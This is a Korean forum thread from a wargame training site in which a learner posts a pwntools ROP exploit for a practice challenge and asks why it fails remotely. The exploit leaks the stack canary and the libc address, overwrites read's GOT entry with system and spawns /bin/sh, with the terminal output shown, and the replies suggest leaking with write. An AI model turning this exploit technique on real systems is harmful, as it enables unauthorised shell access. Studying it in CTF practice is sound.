완료됨
서버의 libc 버전을 어떻게 알아낼 수 있나요

from pwn import *

def slog(name, addr):
return success(": ".join([name, hex(addr)]))

#context.log_level ='DEBUG'
#p = process("./rop")
p = remote("host3.dreamhack.games",16271)
e = ELF("./rop")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

r = ROP(e)

[1] Leak Canary

buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)

[2] Exploit

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
payload = b'A'*56 + p64(canary) + b'B'*8

slog("pop_rdi", pop_rdi)
slog("pop_rsi_r15", pop_rsi_r15)
slog("read_plt", read_plt)
slog("read_got", read_got)
slog("puts_plt", puts_plt)

puts(read@got)

payload += p64(pop_rdi) + p64(read_got) # puts(read@got)
payload += p64(puts_plt) # puts(read@got) 호출

read(0, read@got, 0) => read@got -> system

payload += p64(pop_rdi) + p64(0) # read(0, , )
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # read(0, read@got, 0)
payload += p64(read_plt) # read(0, read@got, 0) 호출

read("/bin/sh") => system("/bin/sh")

payload += p64(pop_rdi)
payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(read_plt) # read("/bin/sh") 호출
p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입
lb = read - libc.symbols["read"] # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"] # system = libc base + system symbols

slog("read", read)
slog("libc_base", lb)
slog("system", system)

p.send(p64(system)+b"/bin/sh\x00")

p.interactive()

local에서는 잘 동작했습니다.
서버에서는 library버전을

p = remote("host3.dreamhack.games",16271)
e = ELF("./rop")
libc = ELF("./libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
r = ROP(e)

올려주신 집파일에 있던 ./libc.so.6 과 /lib/x86_64-linux-gnu/libc-2.27.so를 모두 사용해봤는데 EOF에러가 나네요.. 이유를 도저히 모르겠습니다. ㅠ

[] '/home/coco/work/aslr_nx/rop_practice/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[
] '/home/coco/work/aslr_nx/rop_practice/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[] Loaded 14 cached gadgets for './rop'
[+] Canary: 0xe53bfac3cac88600
[+] pop_rdi: 0x400853
[+] pop_rsi_r15: 0x400851
[+] read_plt: 0x4005f0
[+] read_got: 0x601038
[+] puts_plt: 0x4005b0
[+] read: 0x7fefbaa11980
[+] libc_base: 0x7fefba8fd000
[+] system: 0x7fefba94dd60
[
] Switching to interactive mode

[] Got EOF while reading in interactive
$ ls
$ ls
[
] Closed connection to host3.dreamhack.games port 16271
[*] Got EOF while sending in interactive

payload += p64(pop_rdi)
payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(ret)
payload += p64(read_plt)

ret을 추가 해도 동일합니다.. 로컬에서는 돌아가는데요..
도와주세요.. ㅠㅠ

===========
libc_base: 0x7fefba8fd000
libc 베이스 주소가 000으로 나오는 걸 보면 집파일의 libc.so.6 을 사용하는건 맞는 거 같은데 혹시 rdx값이 0이 되어서 그런가요?

스택 어라인 문제도 아닌것 같은데요...
질문을 정리하면

  1. 서버의 libc 버전은 어떻게 구할 수 있나요 --> libc 버전 문제라면 어떻게 해결할 수 있나요.. 올라온 libc사이트는 더이상 연결 안되던데요..
  2. 서버 버전이 22.x라면 rdx가 0 이 되어 문제가 일어난 것인지요 --> Return-to-csu 기법으로 해결해야 하나요.
  3. 서버 바이너리를 로컬 gdb에 붙일 수는 없지요?
#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 3
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

혹시 puts로 leak 하셨나요?

최근 서버의 우분투 버전이 올라가며 말씀하신 것처럼 rdx가 0인가 1로 초기화되기에 다른 방법으로 릭을 해야합니다.

강의를 참고하시면 좋을 것 같아요

2023.07.10. 08:12
lattekim33
대표 업적 없음
lattekim33
대표 업적 없음

puts대신 writes를 사용하니 리모트도 되네요.. 그런데 서버에서 ldd 로 바이너리의 libc버전 확인은 안되네요;; 어떻게 확인 하셨는지요?;;;

2023.07.10. 12:12
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

음? 로컬에서 제공된 libc 파일 붙여서 실행해서 직접 확인했습니다 ㅎㅎ

2023.07.10. 13:55